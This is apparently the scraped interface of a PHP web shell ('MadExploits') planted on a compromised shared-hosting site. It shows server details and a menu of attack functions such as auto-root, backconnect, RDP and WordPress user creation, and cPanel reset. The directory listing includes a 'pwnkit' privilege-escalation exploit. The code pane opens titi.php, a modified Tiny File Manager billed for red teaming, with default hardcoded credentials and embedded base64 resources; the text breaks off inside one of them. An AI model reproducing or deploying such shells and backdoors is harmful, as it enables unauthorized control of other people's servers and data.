Linux eu23.aseoserver.com 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
Apache
: 83.140.111.211 | : 18.117.111.63
Cant Read [ /etc/named.conf ]
7.4.33
ilmaispyrytykset
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ilmaispyrytykset /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
.well-known
[ DIR ]
drwxr-xr-x
.htaccess
258
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
gecko-litespeed.php
499
B
-r--r--r--
google8fab2a5bdb4dc80e.html
53
B
-rw-r--r--
googleb4ec9012eaa101f8.html
53
B
-rw-r--r--
googlec8d1c033f362d32b.html
53
B
-rw-r--r--
googlecb7c0319e31f0be0.html
53
B
-rw-r--r--
googled24b00a99624db3b.html
53
B
-rw-r--r--
googlef65b5afabc3a1d1e.html
53
B
-rw-r--r--
info.php
1.87
MB
-rw-r--r--
pwnkit
10.99
KB
-rw-r--r--
titi.php
1.87
MB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : titi.php
<?php //Default Configuration $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"dark"}'; /** * H3K | Tiny File Manager V2.5.3-WH1Z-Edition * @author CCP Programmers * @modder PinoyWH1Z * @mod-email g2mfuotbs@mozmail.com * @mod-github https://github.com/PinoyWH1Z/tinyfilemanager-wh1z-edition * @mod-note I made some changes/update to ensure that the file manager remains compact and doesn't rely on external resources. * This modification can be incredibly useful for red teaming purposes. */ //TFM version define('VERSION', '2.5.3-WH1Z-Edition'); //Application Title define('APP_TITLE', 'Tiny File Manager [WH1Z-Edition]'); define('APP_TITLE_LOGIN', "Tiny File Manager<br>[WH1Z-Edition]"); // --- EDIT BELOW CONFIGURATION CAREFULLY --- // Auth with login/password // set true/false to enable/disable it // Is independent from IP white- and blacklisting $use_auth = true; // Login user name and password // Users: array('Username' => 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash: Click Admin -> Help -> Generate new password hash $auth_users = array( 'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123 'user' => '$2y$10$Zdju9e.6o38Su430se1MA.oP0z9l0eF4jSQRExZ6rNkn4dN8C0hGC' //WH1Z123 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // Intentionally disabled. To enable, refer to the orig author's site: https://tinyfilemanager.github.io/ /* $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } */ $highlightjs_style_resource = ''; if($highlightjs_style === 'ir-black'){ $highlightjs_style_resource = 'cHJlIGNvZGUuaGxqc3tkaXNwbGF5OmJsb2NrO292ZXJmbG93LXg6YXV0bztwYWRkaW5nOjFlbX1jb2RlLmhsanN7cGFkZGluZzozcHggNXB4fS5obGpze2JhY2tncm91bmQ6IzAwMDtjb2xvcjojZjhmOGY4fS5obGpzLWNvbW1lbnQsLmhsanMtbWV0YSwuaGxqcy1xdW90ZXtjb2xvcjojN2M3YzdjfS5obGpzLWtleXdvcmQsLmhsanMtbmFtZSwuaGxqcy1zZWxlY3Rvci10YWcsLmhsanMtdGFne2NvbG9yOiM5NmNiZmV9LmhsanMtYXR0cmlidXRlLC5obGpzLXNlbGVjdG9yLWlke2NvbG9yOiNmZmZmYjZ9LmhsanMtYWRkaXRpb24sLmhsanMtc2VsZWN0b3ItYXR0ciwuaGxqcy1zZWxlY3Rvci1wc2V1ZG8sLmhsanMtc3RyaW5ne2NvbG9yOiNhOGZmNjB9LmhsanMtc3Vic3R7Y29sb3I6I2RhZWZhM30uaGxqcy1saW5rLC5obGpzLXJlZ2V4cHtjb2xvcjojZTljMDYyfS5obGpzLWRvY3RhZywuaGxqcy1zZWN0aW9uLC5obGpzLXRpdGxlLC5obGpzLXR5cGV7Y29sb3I6I2ZmZmZiNn0uaGxqcy1idWxsZXQsLmhsanMtbGl0ZXJhbCwuaGxqcy1zeW1ib2wsLmhsanMtdGVtcGxhdGUtdmFyaWFibGUsLmhsanMtdmFyaWFibGV7Y29sb3I6I2M2YzVmZX0uaGxqcy1kZWxldGlvbiwuaGxqcy1udW1iZXJ7Y29sb3I6I2ZmNzNmZH0uaGxqcy1lbXBoYXNpc3tmb250LXN0eWxlOml0YWxpY30uaGxqcy1zdHJvbmd7Zm9udC13ZWlnaHQ6NzAwfQ=='; } else if($highlightjs_style === 'vs'){ $highlightjs_style_resource = 'cHJlIGNvZGUuaGxqc3tkaXNwbGF5OmJsb2NrO292ZXJmbG93LXg6YXV0bztwYWRkaW5nOjFlbX1jb2RlLmhsanN7cGFkZGluZzozcHggNXB4fS5obGpze2JhY2tncm91bmQ6I2ZmZjtjb2xvcjojMDAwfS5obGpzLWNvbW1lbnQsLmhsanMtcXVvdGUsLmhsanMtdmFyaWFibGV7Y29sb3I6Z3JlZW59LmhsanMtYnVpbHRfaW4sLmhsanMta2V5d29yZCwuaGxqcy1uYW1lLC5obGpzLXNlbGVjdG9yLXRhZywuaGxqcy10YWd7Y29sb3I6IzAwZn0uaGxqcy1hZGRpdGlvbiwuaGxqcy1hdHRyaWJ1dGUsLmhsanMtbGl0ZXJhbCwuaGxqcy1zZWN0aW9uLC5obGpzLXN0cmluZywuaGxqcy10ZW1wbGF0ZS10YWcsLmhsanMtdGVtcGxhdGUtdmFyaWFibGUsLmhsanMtdGl0bGUsLmhsanMtdHlwZXtjb2xvcjojYTMxNTE1fS5obGpzLWRlbGV0aW9uLC5obGpzLW1ldGEsLmhsanMtc2VsZWN0b3ItYXR0ciwuaGxqcy1zZWxlY3Rvci1wc2V1ZG97Y29sb3I6IzJiOTFhZn0uaGxqcy1kb2N0YWd7Y29sb3I6Z3JleX0uaGxqcy1hdHRye2NvbG9yOnJlZH0uaGxqcy1idWxsZXQsLmhsanMtbGluaywuaGxqcy1zeW1ib2x7Y29sb3I6IzAwYjBlOH0uaGxqcy1lbXBoYXNpc3tmb250LXN0eWxlOml0YWxpY30uaGxqcy1zdHJvbmd7Zm9udC13ZWlnaHQ6NzAwfQ=='; } // Embedded resources $external = array( 'css-bootstrap' => 'QGNoYXJzZXQgIlVURi04IjsvKiENCiAqIEJvb3RzdHJhcCAgdjUuMi4yIChodHRwczovL2dldGJvb3RzdHJhcC5jb20vKQ0KICogQ29weXJpZ2h0IDIwMTEtMjAyMiBUaGUgQm9vdHN0cmFwIEF1dGhvcnMNCiAqIENvcHlyaWdodCAyMDExLTIwMjIgVHdpdHRlciwgSW5jLg0KICogTGljZW5zZWQgdW5kZXIgTUlUIChodHRwczovL2dpdGh1Yi5jb20vdHdicy9ib290c3RyYXAvYmxvYi9tYWluL0xJQ0VOU0UpDQogKi86cm9vdHstLWJzLWJsdWU6IzBkNmVmZDstLWJzLWluZGlnbzojNjYxMGYyOy0tYnMtcHVycGxlOiM2ZjQyYzE7LS1icy1waW5rOiNkNjMzODQ7LS1icy1yZWQ6I2RjMzU0NTstLWJzLW9yYW5nZTojZmQ3ZTE0Oy0tYnMteWVsbG93OiNmZmMxMDc7LS1icy1ncmVlbjojMTk4NzU0Oy0tYnMtdGVhbDojMjBjOTk3Oy0tYnMtY3lhbjojMGRjYWYwOy0tYnMtYmxhY2s6IzAwMDstLWJzLXdoaXRlOiNmZmY7LS1icy1ncmF5OiM2Yzc1N2Q7LS1icy1ncmF5LWRhcms6IzM0M2E0MDstLWJzLWdyYXktMTAwOiNmOGY5ZmE7LS1icy1ncmF5LTIwMDojZTllY2VmOy0tYnMtZ3JheS0zMDA6I2RlZTJlNjstLWJzLWdyYXktNDAwOiNjZWQ0ZGE7LS1icy1ncmF5LTUwMDojYWRiNWJkOy0tYnMtZ3JheS02MDA6IzZjNzU3ZDstLWJzLWdyYXktNzAwOiM0OTUwNTc7LS1icy1ncmF5LTgwMDojMzQzYTQwOy0tYnMtZ3JheS05MDA6IzIxMjUyOTstLWJzLXByaW1hcnk6IzBkNmVmZDstLWJzLXNlY29uZGFyeTojNmM3NTdkOy0tYnMtc3VjY2VzczojMTk4NzU0Oy0tYnMtaW5mbzojMGRjYWYwOy0tYnMtd2FybmluZzojZmZjMTA3Oy0tYnMtZGFuZ2VyOiNkYzM1NDU7LS1icy1saWdodDojZjhmOWZhOy0tYnMtZGFyazojMjEyNTI5Oy0tYnMtcHJpbWFyeS1yZ2I6MTMsMTEwLDI1MzstLWJzLXNlY29uZGFyeS1yZ2I6MTA4LDExNywxMjU7LS1icy1zdWNjZXNzLXJnYjoyNSwxMzUsODQ7LS1icy1pbmZvLXJnYjoxMywyMDIsMjQwOy0tYnMtd2FybmluZy1yZ2I6MjU1LDE5Myw3Oy0tYnMtZGFuZ2VyLXJnYjoyMjAsNTMsNjk7LS1icy1saWdodC1yZ2I6MjQ4LDI0OSwyNTA7LS1icy1kYXJrLXJnYjozMywzNyw0MTstLWJzLXdoaXRlLXJnYjoyNTUsMjU1LDI1NTstLWJzLWJsYWNrLXJnYjowLDAsMDstLWJzLWJvZHktY29sb3ItcmdiOjMzLDM3LDQxOy0tYnMtYm9keS1iZy1yZ2I6MjU1LDI1NSwyNTU7LS1icy1mb250LXNhbnMtc2VyaWY6c3lzdGVtLXVpLC1hcHBsZS1zeXN0ZW0sIlNlZ29lIFVJIixSb2JvdG8sIkhlbHZldGljYSBOZXVlIiwiTm90byBTYW5zIiwiTGliZXJhdGlvbiBTYW5zIixBcmlhbCxzYW5zLXNlcmlmLCJBcHBsZSBDb2xvciBFbW9qaSIsIlNlZ29lIFVJIEVtb2ppIiwiU2Vnb2UgVUkgU3ltYm9sIiwiTm90byBDb2xvciBFbW9qaSI7LS1icy1mb250LW1vbm9zcGFjZTpTRk1vbm8tUmVndWxhcixNZW5sbyxNb25hY28sQ29uc29sYXMsIkxpYmVyYXRpb24gTW9ubyIsIkNvdXJpZXIgTmV3Iixtb25vc3BhY2U7LS1icy1ncmFkaWVudDpsaW5lYXItZ3JhZGllbnQoMTgwZGVnLCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMTUpLCByZ2JhKDI1NSwgMjU1LCAyNTUsIDApKTstLWJzLWJvZHktZm9udC1mYW1pbHk6dmFyKC0tYnMtZm9udC1zYW5zLXNlcmlmKTstLWJzLWJvZHktZm9udC1zaXplOjFyZW07LS1icy1ib2R5LWZvbnQtd2VpZ2h0OjQwMDstLWJzLWJvZHktbGluZS1oZWlnaHQ6MS41Oy0tYnMtYm9keS1jb2xvcjojMjEyNTI5Oy0tYnMtYm9keS1iZzojZmZmOy0tYnMtYm9yZGVyLXdpZHRoOjFweDstLWJzLWJvcmRlci1zdHlsZTpzb2xpZDstLWJzLWJvcmRlci1jb2xvcjojZGVlMmU2Oy0tYnMtYm9yZGVyLWNvbG9yLXRyYW5zbHVjZW50OnJnYmEoMCwgMCwgMCwgMC4xNzUpOy0tYnMtYm9yZGVyLXJhZGl1czowLjM3NXJlbTstLWJzLWJvcmRlci1yYWRpdXMtc206MC4yNXJlbTstLWJzLWJvcmRlci1yYWRpdXMtbGc6MC41cmVtOy0tYnMtYm9yZGVyLXJhZGl1cy14bDoxcmVtOy0tYnMtYm9yZGVyLXJhZGl1cy0yeGw6MnJlbTstLWJzLWJvcmRlci1yYWRpdXMtcGlsbDo1MHJlbTstLWJzLWxpbmstY29sb3I6IzBkNmVmZDstLWJzLWxpbmstaG92ZXItY29sb3I6IzBhNThjYTstLWJzLWNvZGUtY29sb3I6I2Q2MzM4NDstLWJzLWhpZ2hsaWdodC1iZzojZmZmM2NkfSosOjphZnRlciw6OmJlZm9yZXtib3gtc2l6aW5nOmJvcmRlci1ib3h9QG1lZGlhIChwcmVmZXJzLXJlZHVjZWQtbW90aW9uOm5vLXByZWZlcmVuY2Upezpyb290e3Njcm9sbC1iZWhhdmlvcjpzbW9vdGh9fWJvZHl7bWFyZ2luOjA7Zm9udC1mYW1pbHk6dmFyKC0tYnMtYm9keS1mb250LWZhbWlseSk7Zm9udC1zaXplOnZhcigtLWJzLWJvZHktZm9udC1zaXplKTtmb250LXdlaWdodDp2YXIoLS1icy1ib2R5LWZvbnQtd2VpZ2h0KTtsaW5lLWhlaWdodDp2YXIoLS1icy1ib2R5LWxpbmUtaGVpZ2h0KTtjb2xvcjp2YXIoLS1icy1ib2R5LWNvbG9yKTt0ZXh0LWFsaWduOnZhcigtLWJzLWJvZHktdGV4dC1hbGlnbik7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1ib2R5LWJnKTstd2Via2l0LXRleHQtc2l6ZS1hZGp1c3Q6MTAwJTstd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6dHJhbnNwYXJlbnR9aHJ7bWFyZ2luOjFyZW0gMDtjb2xvcjppbmhlcml0O2JvcmRlcjowO2JvcmRlci10b3A6MXB4IHNvbGlkO29wYWNpdHk6LjI1fS5oMSwuaDIsLmgzLC5oNCwuaDUsLmg2LGgxLGgyLGgzLGg0LGg1LGg2e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjJ9LmgxLGgxe2ZvbnQtc2l6ZTpjYWxjKDEuMzc1cmVtICsgMS41dncpfUBtZWRpYSAobWluLXdpZHRoOjEyMDBweCl7LmgxLGgxe2ZvbnQtc2l6ZToyLjVyZW19fS5oMixoMntmb250LXNpemU6Y2FsYygxLjMyNXJlbSArIC45dncpfUBtZWRpYSAobWluLXdpZHRoOjEyMDBweCl7LmgyLGgye2ZvbnQtc2l6ZToycmVtfX0uaDMsaDN7Zm9udC1zaXplOmNhbGMoMS4zcmVtICsgLjZ2dyl9QG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsuaDMsaDN7Zm9udC1zaXplOjEuNzVyZW19fS5oNCxoNHtmb250LXNpemU6Y2FsYygxLjI3NXJlbSArIC4zdncpfUBtZWRpYSAobWluLXdpZHRoOjEyMDBweCl7Lmg0LGg0e2ZvbnQtc2l6ZToxLjVyZW19fS5oNSxoNXtmb250LXNpemU6MS4yNXJlbX0uaDYsaDZ7Zm9udC1zaXplOjFyZW19cHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbToxcmVtfWFiYnJbdGl0bGVdey13ZWJraXQtdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZSBkb3R0ZWQ7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZSBkb3R0ZWQ7Y3Vyc29yOmhlbHA7LXdlYmtpdC10ZXh0LWRlY29yYXRpb24tc2tpcC1pbms6bm9uZTt0ZXh0LWRlY29yYXRpb24tc2tpcC1pbms6bm9uZX1hZGRyZXNze21hcmdpbi1ib3R0b206MXJlbTtmb250LXN0eWxlOm5vcm1hbDtsaW5lLWhlaWdodDppbmhlcml0fW9sLHVse3BhZGRpbmctbGVmdDoycmVtfWRsLG9sLHVse21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW19b2wgb2wsb2wgdWwsdWwgb2wsdWwgdWx7bWFyZ2luLWJvdHRvbTowfWR0e2ZvbnQtd2VpZ2h0OjcwMH1kZHttYXJnaW4tYm90dG9tOi41cmVtO21hcmdpbi1sZWZ0OjB9YmxvY2txdW90ZXttYXJnaW46MCAwIDFyZW19YixzdHJvbmd7Zm9udC13ZWlnaHQ6Ym9sZGVyfS5zbWFsbCxzbWFsbHtmb250LXNpemU6Ljg3NWVtfS5tYXJrLG1hcmt7cGFkZGluZzouMTg3NWVtO2JhY2tncm91bmQtY29sb3I6dmFyKC0tYnMtaGlnaGxpZ2h0LWJnKX1zdWIsc3Vwe3Bvc2l0aW9uOnJlbGF0aXZlO2ZvbnQtc2l6ZTouNzVlbTtsaW5lLWhlaWdodDowO3ZlcnRpY2FsLWFsaWduOmJhc2VsaW5lfXN1Yntib3R0b206LS4yNWVtfXN1cHt0b3A6LS41ZW19YXtjb2xvcjp2YXIoLS1icy1saW5rLWNvbG9yKTt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfWE6aG92ZXJ7Y29sb3I6dmFyKC0tYnMtbGluay1ob3Zlci1jb2xvcil9YTpub3QoW2hyZWZdKTpub3QoW2NsYXNzXSksYTpub3QoW2hyZWZdKTpub3QoW2NsYXNzXSk6aG92ZXJ7Y29sb3I6aW5oZXJpdDt0ZXh0LWRlY29yYXRpb246bm9uZX1jb2RlLGtiZCxwcmUsc2FtcHtmb250LWZhbWlseTp2YXIoLS1icy1mb250LW1vbm9zcGFjZSk7Zm9udC1zaXplOjFlbX1wcmV7ZGlzcGxheTpibG9jazttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbToxcmVtO292ZXJmbG93OmF1dG87Zm9udC1zaXplOi44NzVlbX1wcmUgY29kZXtmb250LXNpemU6aW5oZXJpdDtjb2xvcjppbmhlcml0O3dvcmQtYnJlYWs6bm9ybWFsfWNvZGV7Zm9udC1zaXplOi44NzVlbTtjb2xvcjp2YXIoLS1icy1jb2RlLWNvbG9yKTt3b3JkLXdyYXA6YnJlYWstd29yZH1hPmNvZGV7Y29sb3I6aW5oZXJpdH1rYmR7cGFkZGluZzouMTg3NXJlbSAuMzc1cmVtO2ZvbnQtc2l6ZTouODc1ZW07Y29sb3I6dmFyKC0tYnMtYm9keS1iZyk7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1ib2R5LWNvbG9yKTtib3JkZXItcmFkaXVzOi4yNXJlbX1rYmQga2Jke3BhZGRpbmc6MDtmb250LXNpemU6MWVtfWZpZ3VyZXttYXJnaW46MCAwIDFyZW19aW1nLHN2Z3t2ZXJ0aWNhbC1hbGlnbjptaWRkbGV9dGFibGV7Y2FwdGlvbi1zaWRlOmJvdHRvbTtib3JkZXItY29sbGFwc2U6Y29sbGFwc2V9Y2FwdGlvbntwYWRkaW5nLXRvcDouNXJlbTtwYWRkaW5nLWJvdHRvbTouNXJlbTtjb2xvcjojNmM3NTdkO3RleHQtYWxpZ246bGVmdH10aHt0ZXh0LWFsaWduOmluaGVyaXQ7dGV4dC1hbGlnbjotd2Via2l0LW1hdGNoLXBhcmVudH10Ym9keSx0ZCx0Zm9vdCx0aCx0aGVhZCx0cntib3JkZXItY29sb3I6aW5oZXJpdDtib3JkZXItc3R5bGU6c29saWQ7Ym9yZGVyLXdpZHRoOjB9bGFiZWx7ZGlzcGxheTppbmxpbmUtYmxvY2t9YnV0dG9ue2JvcmRlci1yYWRpdXM6MH1idXR0b246Zm9jdXM6bm90KDpmb2N1cy12aXNpYmxlKXtvdXRsaW5lOjB9YnV0dG9uLGlucHV0LG9wdGdyb3VwLHNlbGVjdCx0ZXh0YXJlYXttYXJnaW46MDtmb250LWZhbWlseTppbmhlcml0O2ZvbnQtc2l6ZTppbmhlcml0O2xpbmUtaGVpZ2h0OmluaGVyaXR9YnV0dG9uLHNlbGVjdHt0ZXh0LXRyYW5zZm9ybTpub25lfVtyb2xlPWJ1dHRvbl17Y3Vyc29yOnBvaW50ZXJ9c2VsZWN0e3dvcmQtd3JhcDpub3JtYWx9c2VsZWN0OmRpc2FibGVke29wYWNpdHk6MX1bbGlzdF06bm90KFt0eXBlPWRhdGVdKTpub3QoW3R5cGU9ZGF0ZXRpbWUtbG9jYWxdKTpub3QoW3R5cGU9bW9udGhdKTpub3QoW3R5cGU9d2Vla10pOm5vdChbdHlwZT10aW1lXSk6Oi13ZWJraXQtY2FsZW5kYXItcGlja2VyLWluZGljYXRvcntkaXNwbGF5Om5vbmUhaW1wb3J0YW50fVt0eXBlPWJ1dHRvbl0sW3R5cGU9cmVzZXRdLFt0eXBlPXN1Ym1pdF0sYnV0dG9uey13ZWJraXQtYXBwZWFyYW5jZTpidXR0b259W3R5cGU9YnV0dG9uXTpub3QoOmRpc2FibGVkKSxbdHlwZT1yZXNldF06bm90KDpkaXNhYmxlZCksW3R5cGU9c3VibWl0XTpub3QoOmRpc2FibGVkKSxidXR0b246bm90KDpkaXNhYmxlZCl7Y3Vyc29yOnBvaW50ZXJ9OjotbW96LWZvY3VzLWlubmVye3BhZGRpbmc6MDtib3JkZXItc3R5bGU6bm9uZX10ZXh0YXJlYXtyZXNpemU6dmVydGljYWx9ZmllbGRzZXR7bWluLXdpZHRoOjA7cGFkZGluZzowO21hcmdpbjowO2JvcmRlcjowfWxlZ2VuZHtmbG9hdDpsZWZ0O3dpZHRoOjEwMCU7cGFkZGluZzowO21hcmdpbi1ib3R0b206LjVyZW07Zm9udC1zaXplOmNhbGMoMS4yNzVyZW0gKyAuM3Z3KTtsaW5lLWhlaWdodDppbmhlcml0fUBtZWRpYSAobWluLXdpZHRoOjEyMDBweCl7bGVnZW5ke2ZvbnQtc2l6ZToxLjVyZW19fWxlZ2VuZCsqe2NsZWFyOmxlZnR9Ojotd2Via2l0LWRhdGV0aW1lLWVkaXQtZGF5LWZpZWxkLDo6LXdlYmtpdC1kYXRldGltZS1lZGl0LWZpZWxkcy13cmFwcGVyLDo6LXdlYmtpdC1kYXRldGltZS1lZGl0LWhvdXItZmllbGQsOjotd2Via2l0LWRhdGV0aW1lLWVkaXQtbWludXRlLDo6LXdlYmtpdC1kYXRldGltZS1lZGl0LW1vbnRoLWZpZWxkLDo6LXdlYmtpdC1kYXRldGltZS1lZGl0LXRleHQsOjotd2Via2l0LWRhdGV0aW1lLWVkaXQteWVhci1maWVsZHtwYWRkaW5nOjB9Ojotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9ue2hlaWdodDphdXRvfVt0eXBlPXNlYXJjaF17b3V0bGluZS1vZmZzZXQ6LTJweDstd2Via2l0LWFwcGVhcmFuY2U6dGV4dGZpZWxkfTo6LXdlYmtpdC1zZWFyY2gtZGVjb3JhdGlvbnstd2Via2l0LWFwcGVhcmFuY2U6bm9uZX06Oi13ZWJraXQtY29sb3Itc3dhdGNoLXdyYXBwZXJ7cGFkZGluZzowfTo6LXdlYmtpdC1maWxlLXVwbG9hZC1idXR0b257Zm9udDppbmhlcml0Oy13ZWJraXQtYXBwZWFyYW5jZTpidXR0b259OjpmaWxlLXNlbGVjdG9yLWJ1dHRvbntmb250OmluaGVyaXQ7LXdlYmtpdC1hcHBlYXJhbmNlOmJ1dHRvbn1vdXRwdXR7ZGlzcGxheTppbmxpbmUtYmxvY2t9aWZyYW1le2JvcmRlcjowfXN1bW1hcnl7ZGlzcGxheTpsaXN0LWl0ZW07Y3Vyc29yOnBvaW50ZXJ9cHJvZ3Jlc3N7dmVydGljYWwtYWxpZ246YmFzZWxpbmV9W2hpZGRlbl17ZGlzcGxheTpub25lIWltcG9ydGFudH0ubGVhZHtmb250LXNpemU6MS4yNXJlbTtmb250LXdlaWdodDozMDB9LmRpc3BsYXktMXtmb250LXNpemU6Y2FsYygxLjYyNXJlbSArIDQuNXZ3KTtmb250LXdlaWdodDozMDA7bGluZS1oZWlnaHQ6MS4yfUBtZWRpYSAobWluLXdpZHRoOjEyMDBweCl7LmRpc3BsYXktMXtmb250LXNpemU6NXJlbX19LmRpc3BsYXktMntmb250LXNpemU6Y2FsYygxLjU3NXJlbSArIDMuOXZ3KTtmb250LXdlaWdodDozMDA7bGluZS1oZWlnaHQ6MS4yfUBtZWRpYSAobWluLXdpZHRoOjEyMDBweCl7LmRpc3BsYXktMntmb250LXNpemU6NC41cmVtfX0uZGlzcGxheS0ze2ZvbnQtc2l6ZTpjYWxjKDEuNTI1cmVtICsgMy4zdncpO2ZvbnQtd2VpZ2h0OjMwMDtsaW5lLWhlaWdodDoxLjJ9QG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsuZGlzcGxheS0ze2ZvbnQtc2l6ZTo0cmVtfX0uZGlzcGxheS00e2ZvbnQtc2l6ZTpjYWxjKDEuNDc1cmVtICsgMi43dncpO2ZvbnQtd2VpZ2h0OjMwMDtsaW5lLWhlaWdodDoxLjJ9QG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsuZGlzcGxheS00e2ZvbnQtc2l6ZTozLjVyZW19fS5kaXNwbGF5LTV7Zm9udC1zaXplOmNhbGMoMS40MjVyZW0gKyAyLjF2dyk7Zm9udC13ZWlnaHQ6MzAwO2xpbmUtaGVpZ2h0OjEuMn1AbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpey5kaXNwbGF5LTV7Zm9udC1zaXplOjNyZW19fS5kaXNwbGF5LTZ7Zm9udC1zaXplOmNhbGMoMS4zNzVyZW0gKyAxLjV2dyk7Zm9udC13ZWlnaHQ6MzAwO2xpbmUtaGVpZ2h0OjEuMn1AbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpey5kaXNwbGF5LTZ7Zm9udC1zaXplOjIuNXJlbX19Lmxpc3QtdW5zdHlsZWR7cGFkZGluZy1sZWZ0OjA7bGlzdC1zdHlsZTpub25lfS5saXN0LWlubGluZXtwYWRkaW5nLWxlZnQ6MDtsaXN0LXN0eWxlOm5vbmV9Lmxpc3QtaW5saW5lLWl0ZW17ZGlzcGxheTppbmxpbmUtYmxvY2t9Lmxpc3QtaW5saW5lLWl0ZW06bm90KDpsYXN0LWNoaWxkKXttYXJnaW4tcmlnaHQ6LjVyZW19LmluaXRpYWxpc217Zm9udC1zaXplOi44NzVlbTt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2V9LmJsb2NrcXVvdGV7bWFyZ2luLWJvdHRvbToxcmVtO2ZvbnQtc2l6ZToxLjI1cmVtfS5ibG9ja3F1b3RlPjpsYXN0LWNoaWxke21hcmdpbi1ib3R0b206MH0uYmxvY2txdW90ZS1mb290ZXJ7bWFyZ2luLXRvcDotMXJlbTttYXJnaW4tYm90dG9tOjFyZW07Zm9udC1zaXplOi44NzVlbTtjb2xvcjojNmM3NTdkfS5ibG9ja3F1b3RlLWZvb3Rlcjo6YmVmb3Jle2NvbnRlbnQ6IuKAlCAifS5pbWctZmx1aWR7bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OmF1dG99LmltZy10aHVtYm5haWx7cGFkZGluZzouMjVyZW07YmFja2dyb3VuZC1jb2xvcjojZmZmO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYnMtYm9yZGVyLWNvbG9yKTtib3JkZXItcmFkaXVzOi4zNzVyZW07bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OmF1dG99LmZpZ3VyZXtkaXNwbGF5OmlubGluZS1ibG9ja30uZmlndXJlLWltZ3ttYXJnaW4tYm90dG9tOi41cmVtO2xpbmUtaGVpZ2h0OjF9LmZpZ3VyZS1jYXB0aW9ue2ZvbnQtc2l6ZTouODc1ZW07Y29sb3I6IzZjNzU3ZH0uY29udGFpbmVyLC5jb250YWluZXItZmx1aWQsLmNvbnRhaW5lci1sZywuY29udGFpbmVyLW1kLC5jb250YWluZXItc20sLmNvbnRhaW5lci14bCwuY29udGFpbmVyLXh4bHstLWJzLWd1dHRlci14OjEuNXJlbTstLWJzLWd1dHRlci15OjA7d2lkdGg6MT